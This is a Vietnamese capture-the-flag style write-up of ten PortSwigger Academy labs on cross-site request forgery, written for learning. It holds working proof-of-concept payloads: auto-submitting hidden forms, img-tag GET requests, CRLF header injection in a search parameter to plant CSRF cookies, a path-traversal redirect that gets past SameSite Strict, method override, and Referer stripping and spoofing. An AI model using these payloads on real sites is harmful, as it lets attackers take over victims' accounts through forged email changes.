---
# System prepended metadata

title: CROSS-SITE REQUEST FORGERY WRITE UP
tags: [PortSwigger, Writeup]

---

## 1. Lab: CSRF vulnerability with no defenses
![](https://hackmd.io/_uploads/H1m34mm3h.png)
- Lab này có chứa lỗ hổng CSRF trong chức năng đổi email, để solve lab thì em cần tạo một trang HTML để đổi email của người xem, đồng thời upload nó về exploit server
- Em có thể đăng nhập vào tài khoản của mình: `wiener:peter`
- Đầu tiên em sẽ quan sát cách trang web xử lý việc đổi email, và nó được thể hiện ở tab này:
![](https://hackmd.io/_uploads/BkugIXQnh.png)
- Ta chỉ cần POST lên tab /my-account/change-email với body là email mới là trang web sẽ chấp nhận. Nên em nghĩ mình sẽ tạo 1 trang html mà body được hidden là email mình, và trỏ đến tab trên, sử dụng chức năng tạo CSRF PoC của BurpSuite:
```htmlmixed!=
<form action="https://0ae9000e04395ab580cc2197004000fa.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.a" />
</form>
<script>
      document.forms[0].submit();
</script>
```
- Khi ấn vào thì trang web sẽ tự động đổi email thành `a@a.a`. Sau đó ta sẽ đưa vào exploit server:
![](https://hackmd.io/_uploads/ByH6Y7723.png)
- Chọn store và delivery to victim thôi!
![](https://hackmd.io/_uploads/S1ybcQm3n.png)
(Hãy nhớ khi test trên chính bản thân thì ta cần phải đổi email sau khi test để delivery cho nạn nhân thành công)

## 2. Lab: CSRF where token validation depends on request method
![](https://hackmd.io/_uploads/SydHgV73h.png)
- Lab này có chứa lỗ hổng CSRF ở chức năng sửa email. Nó có thử block CSRF, nhưng chỉ áp dụng cách phòng thủ với một số loại request nhất định. Để solve lab em cần dùng exploit server để tạo ra một trang HTML sử dụng tấn công CSRF để đổi email của người xem trang đó. Em có tài khoản của bản thân là `wiener:peter`
![](https://hackmd.io/_uploads/SJv4fEX3n.png)
- Giờ để đổi được email trang web đã thêm biến csrf để phòng trường hợp ta thay đổi email của người khác, nên giá trị của biến csrf của mỗi người là khác nhau
- Nhưng nếu em đổi method thành GET thì mọi chuyện lại khác:
![](https://hackmd.io/_uploads/H1xGk447hh.png)
![](https://hackmd.io/_uploads/B1AJV4m3h.png)
- Ở đây em có thể đổi thành công email mà không cần đến giá trị của biến csrf, nên em sẽ tấn công theo cách này
- Sử dụng thẻ `<img>` để chạy ngầm link source này:
`<img src="https://0a80005e04cc40868331c48f000c0019.web-security-academy.net/my-account/change-email?email=a%40a.a">`
- Giờ ta sẽ đưa vào exploit server rồi đưa vào phần body, sau đó store rồi delivery to victim là có thể solve được lab rồi:
![](https://hackmd.io/_uploads/H1QQLNmn2.png)
![](https://hackmd.io/_uploads/H1uWIEX3h.png)

## 3. Lab: CSRF where token validation depends on token being present
![](https://hackmd.io/_uploads/ByLE7XP3n.png)
- Trang web này có chức năng chỉnh sửa email dính lỗi CSRF, tuy có truyền vào tham số csrf, nhưng trang we lại check vào phần session, khi đấy ta có thể xóa luôn tham số csrf mà trang web vẫn có thể thực hiện được việc xóa email:
![](https://hackmd.io/_uploads/H175Qmv33.png)
- Không cần tham số csrf:
![](https://hackmd.io/_uploads/SkysXmD2n.png)
- Từ đó viết PoC CSRF đơn giản:
```htmlembedded!=
<form action="https://0a28003e038d3494a9f9ed44009000a1.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a&#64;a&#46;com" />
      <script>
      document.forms[0].submit();
	  </script>
```
- Đưa vào body của server exploit, khi victim nhấp vào sẽ thay đổi email về `a@a.com`. Store rồi send to victim và em đã solve được lab:
![](https://hackmd.io/_uploads/H1CxVQvh2.png)

## 4. Lab: CSRF where token is not tied to user session
![](https://hackmd.io/_uploads/rkydNXDhn.png)
- Chức năng chỉnh sửa email của trang web có dính CSRF, nó sử dụng tokens để chống CSRF, nhưng chúng lại không đồng nhất với hệ thống xử lý session của website
- Em được cấp 2 tài khoản để giúp tiến hành cuộc tấn công này:
```
wiener:peter
carlos:montoya
```
- Sau khi thử đưa cả 2 tab đổi email ở 2 tài khoản vào Repeater thì khi đổi csrf token trang web sẽ trả về: 
![](https://hackmd.io/_uploads/ry_AO_unn.png)
- Bế tắc ở đoạn này, em nghĩ rằng csrf token chỉ được dùng 1 lần, nên giờ ta phải làm theo cách khác.
- Giờ mình cần lấy csrf token của wiener mà không gửi, sau đó thử thay vào csrf token của carlos để xem liệu phỏng đoán của ta có đúng không:
![](https://hackmd.io/_uploads/ByfEKd_3n.png)
- Đưa vào tab Intercept và lấy csrf token của wiener: `sxqmeRyp8CqcMlHJ730QpQYBV5QQlPR1`, sau đó mình sẽ drop request này để nó không được gửi đi.
- Giờ ta thay token này của carlos bằng token trước đó của wiener:
![](https://hackmd.io/_uploads/BJw_FuO22.png)
- Ta nhận thấy email đã được thay đổi thành `carlos@dontwannacry.com` thành công:
![](https://hackmd.io/_uploads/rJqAFOuhh.png)
### Vậy là giờ mình sẽ đổi email của victim như sau:
+ Sử dụng Intruder để lấy csrf token của mình:`j5X1yP4LbqK5LTFEAX3smp0mFEY8rtZi`
    ![](https://hackmd.io/_uploads/By2n5Odhh.png)
+ Tạo PoC CSRF với input ẩn là email đổi và giá trị csrf đã có:
```htmlembedded!=
<form action="https://0a0f00ff0320347eac4669b5004000aa.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.a" />
      <input type="hidden" name="csrf" value="j5X1yP4LbqK5LTFEAX3smp0mFEY8rtZi" />
      <script>
      document.forms[0].submit();
      document.forms[1].submit();
      </script>
```
+ Đưa vào server exploit để gửi cho victim:
![](https://hackmd.io/_uploads/HkQn2_u2n.png)
+ Store và send to victim:
![](https://hackmd.io/_uploads/Syep3dd2h.png)

## 5. Lab: CSRF where token is tied to non-session cookie
![](https://hackmd.io/_uploads/HkktyKO23.png)
- Chức năng đổi email của lab này có dính lỗ hổng CSRF, nó sử dụng token để phòng chống CSRF nhưng nó không hoàn toàn đồng nhất với hệ thống xử lý session của trang web. Để solve lab thì em cần khai thác lỗ hổng để đổi mật khẩu của người xem trang HTML mà em host.
- Em có 2 tài khoản để giúp trong việc tấn công.
```
wiener:peter
carlos:montoya
```
- Quan sát thấy khi gửi ta cần **csrfKey** ở header và **csrf** ở body, nên em sẽ thử lấy 2 cái này của wiener và đưa vào thằng carlos xem có đổi được email không:
![](https://hackmd.io/_uploads/BkOXbYu33.png)
- Ta có: 
```
csrfKey=OKkLbEAejpuIw54IxNrqTBUiXM3cEHDQ
csrf=l8hDW1pmvywzbXcaZTI7EWxAr1Dv2QAU
```
- Giờ thử nhét chúng nó vào request của carlos xem thế nào:
![](https://hackmd.io/_uploads/rkjA-F_2h.png)
- Đổi thành công!!!
- Vậy là để đổi được email của victim, ta cần csrfKey ở phần cookie header, và csrf ở body của phần POST, nhưng làm thế nào để thêm được csrfKey vào header???
![](https://hackmd.io/_uploads/H1HGIq_h3.png)
- Quan sát em thấy có điều rất thú vị ở đây, khi em search thì kết quả lại được đưa vào phần Set-Cookie, vậy thì mình có thể inject đoạn csrfKey của mình vào tính năng này, rồi sau đó sử dụng form để đổi email?
- Đầu tiên ta sẽ lấy 2 tham số cần dùng để đổi email:
![](https://hackmd.io/_uploads/Bkslcqd2n.png)
```
csrfKey=XrHrtkH2oN4Warxv5BL7XoVlEMQzX9V4
csrf=JWedJv4twVK40Puq66xOasQY3EoB9D67
```
- Giờ khi ta search thì kết quả sẽ cho thấy ở trên cookie, vậy thì mình sẽ sử dụng CRLF (space+xuống dòng) để Set-Cookie csrfKey
`a%0d%0aSet-Cookie%3A%20csrfKey%3Dy3sA34r9UgQYgBx8a89vALqZ7IQQI3xi%3B%20SameSite%3DNone`
![](https://hackmd.io/_uploads/ryOS9cOh2.png)

- Để thêm tham số trên URL theo phương thức GET thì ta sẽ sử dụng tính năng của thẻ `<img>`, sau đó kết hợp với form:
```htmlembedded!=
<form action="https://0a4f00b303aecce082fe3d0e004c00c5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.a" />
      <input type="hidden" name="csrf" value="JWedJv4twVK40Puq66xOasQY3EoB9D67" />
</form>
<img src="https://0a4f00b303aecce082fe3d0e004c00c5.web-security-academy.net/?search=a%0d%0aSet-Cookie%3A%20csrfKey%3DXrHrtkH2oN4Warxv5BL7XoVlEMQzX9V4%3B%20SameSite%3DNone" onerror="document.forms[0].submit()">
```
- Store và send to victim:
![](https://hackmd.io/_uploads/HyUs5q_2n.png)

## 6. Lab: CSRF where token is duplicated in cookie
![](https://hackmd.io/_uploads/S1W0j5_hh.png)
- Tính năng đổi email của lab này dính lỗi CSRF, nó sử dụng kĩ thuật nộp 2 cái csrf để phòng chống csrf
- Để solve lab thì em cần đổi email của victim bằng 1 trang host HTML, em có tài khoản của bản thân: `wiener:peter`
- Bây giờ khi đổi email, trang wbe sẽ đưa cả csrf lên cookie và check xem thằng ở header và thằng ở body có giống nhau hay không để cho đổi:
![](https://hackmd.io/_uploads/H18T3quh2.png)
(Em đã thử gửi lại với email khác và vẫn thành công, chứng tỏ rằng csrf token này có thể sử dụng nhiều lần)
- Tính năng search vẫn được đưa vào Set-cookie, nên em nghĩ em vẫn có thể CRLF vào được:
![](https://hackmd.io/_uploads/S1EHRqOhh.png)
- Giờ ta viết CSRF PoC thui:
```htmlembedded!=
<form action="https://0aaa00d004537a5d839c248800d40054.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.a" />
      <input type="hidden" name="csrf" value="8aTD5On0zuSiRkABo0ZKspkQDuUbdRI0" />
</form>
<img src="https://0aaa00d004537a5d839c248800d40054.web-security-academy.net/?search=a%0d%0aSet-Cookie%3a+csrf%3d8aTD5On0zuSiRkABo0ZKspkQDuUbdRI0%3b+SameSite%3dNone" onerror="document.forms[0].submit()">
```
- Store và send to victim là em đã solve được lab:
![](https://hackmd.io/_uploads/S1xCRqd33.png)

## 7. Lab: SameSite Strict bypass via client-side redirect
![](https://hackmd.io/_uploads/Hkmk5iOh3.png)
- Chức năng đổi email của lab này có dính CSRF, để solve lab thì em cần tiến hành khai thác CSRF để đổi email của nạn nhân, ta được cấp tài khoản của mình: `wiener:peter`
- Sau khi tìm hiểu thì em thấy có chức năng này ở phần `/post/comment/confirmation?postId=1` - confirm comment submit, cụ thể đoạn code là:
![](https://hackmd.io/_uploads/r17_8Zjh3.png)
```javascript!=
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```
- Trang web sẽ lấy giá trị của tham số `postId` sau đó tiến hành redirect đến, nên em nghi ngờ có thể forward đến trang `/my-account`, nhưng `/my-account` thì ở tít bên ngoài, nên em sẽ sử dụng path traversal: `../../../my-account`
![](https://hackmd.io/_uploads/ByunBHoh3.png)
![](https://hackmd.io/_uploads/B1ypSSi22.png)
- NGON, em đã có thể redirect sang `/my-account`, nhưng ở tab `/my-account/change-email` lại ở phương thức POST với 2 tham số là email với và submit=1
![](https://hackmd.io/_uploads/ry0bLBi2n.png)
- Nên em đã nghĩ đến việc đổi phương thức POST thành GET:
![](https://hackmd.io/_uploads/By8S8Sohn.png)
![](https://hackmd.io/_uploads/BJj88Si32.png)
- Quá hay, vậy là em có thể đổi email bằng phương thức GET, vậy em cũng không cần form nữa, trực tiếp redirect sang trang web này luôn:
```htmlembedded!=
<script>
    window.location="https://0a9f00ac03a31f13882e0b000014009a.web-security-academy.net/post/comment/confirmation?postId=../../../my-account/change-email?email=a@a.a%26submit=1";
</script>
```
- Đưa script vào exploit server và gửi cho victim, em hoàn thành được lab này(khó vãi nồi)
![](https://hackmd.io/_uploads/ryg3uBs2h.png)

## 8. Lab: SameSite Lax bypass via method override
![](https://hackmd.io/_uploads/HyOyjLsn2.png)
- Chức năng đổi email của trang web này có dính CSRF, để solve lab thì em cần đổi email của victim. Em có tài khoản của bản thân là `wiener:peter`
![](https://hackmd.io/_uploads/Ski1n8j22.png)
- Bài này đã không cho tính năng đổi method để đổi được emai, nên em sẽ sử dụng cách khác, là thêm `_method` vào phần tham số:
![](https://hackmd.io/_uploads/BJCYA8ih3.png)
![](https://hackmd.io/_uploads/S1ZoCLo33.png)
- Vậy là chỉ cần thêm tham số `_method` là có thể gửi thành công, vậy em có CSRF script như sau:
```htmlembedded!=
<script>
    window.location="https://0a7800c20370da3b80184e9d00e700b9.web-security-academy.net/my-account/change-email?email=a@a.a&_method=POST"
</script>
```
- Deliver to victim và em đã solve được lab này:
![](https://hackmd.io/_uploads/BkrfJDs2h.png)

## 9. Lab: CSRF where Referer validation depends on header being present
![](https://hackmd.io/_uploads/S18SIvih3.png)
- Khi đổi email, nếu ta không chỉnh phần referer thì sẽ bị lỗi:
![](https://hackmd.io/_uploads/HyZKUPi3n.png)
- Trang web sẽ check bằng cách kiểm tra header referer của request, vì nếu không làm gì thì phần referer sẽ là exploit nên không được, vậy thì ta sẽ bỏ luôn cái header này, có nhiều cách để thực hiện nhưng mà cách dễ nhất mà portswigger đã gợi ý là sử dụng thẻ `<meta>`, nên ta có PoC CSRF như sau:
```htmlembedded!=
<form action="https://0ae3005c0446f22e8058cb61009300cf.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.com" />
    </form>
<meta name="referrer" content="never">
    <script>
      document.forms[0].submit();
    </script>
```
- Hoàn thành lab :heavy_check_mark: 
![](https://hackmd.io/_uploads/BkzwIvo22.png)

## 10. Lab: CSRF with broken Referer validation
![](https://hackmd.io/_uploads/SkW4wvoh2.png)
- Chức năng đổi email này có dính lỗi CSRF, trang web có thử phát hiện và chặn yêu cầu từ domain khác nhưng cơ chế này có thể bị bypass. Ta có tài khoản của bản thân là: `wiener:peter`
- Trang web này check referer xem có chứa URL của trang web gốc không, nên ta chỉ cần lấy URL của trang web exploit và truyền vào tham số là URL của trang web gốc:
`Referer: https://exploit-0a9300690311191780b068e901d100d4.exploit-server.net/exploit?0a4200f70329193080b3694f008000d8.web-security-academy.net/my-account`
![](https://hackmd.io/_uploads/Byp3uPin3.png)
![](https://hackmd.io/_uploads/SJLA_Ps23.png)
- Giờ ta sẽ viết PoC CSRF:
```htmlembedded!=
<form action="https://0a4200f70329193080b3694f008000d8.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="a@a.com" />
    </form>
    <script>
      history.pushState('', '', '?0a4200f70329193080b3694f008000d8.web-security-academy.net');
      document.forms[0].submit();
    </script>
```
- Chức năng `history.pushState('', '', '?0a4200f70329193080b3694f008000d8.web-security-academy.net');` sẽ đưa thêm phần `?0a4200f70329193080b3694f008000d8.web-security-academy.net` vào sau phần URL, và để chắc chắn mình sẽ thêm phần `Referrer-Policy: unsafe-url` vào phần head để trang web gửi đi đầy đủ URL, cả phần query string bên trên
- Store và gửi cho victim, em đã solve lab:
![](https://hackmd.io/_uploads/HyHpG_ohh.png)
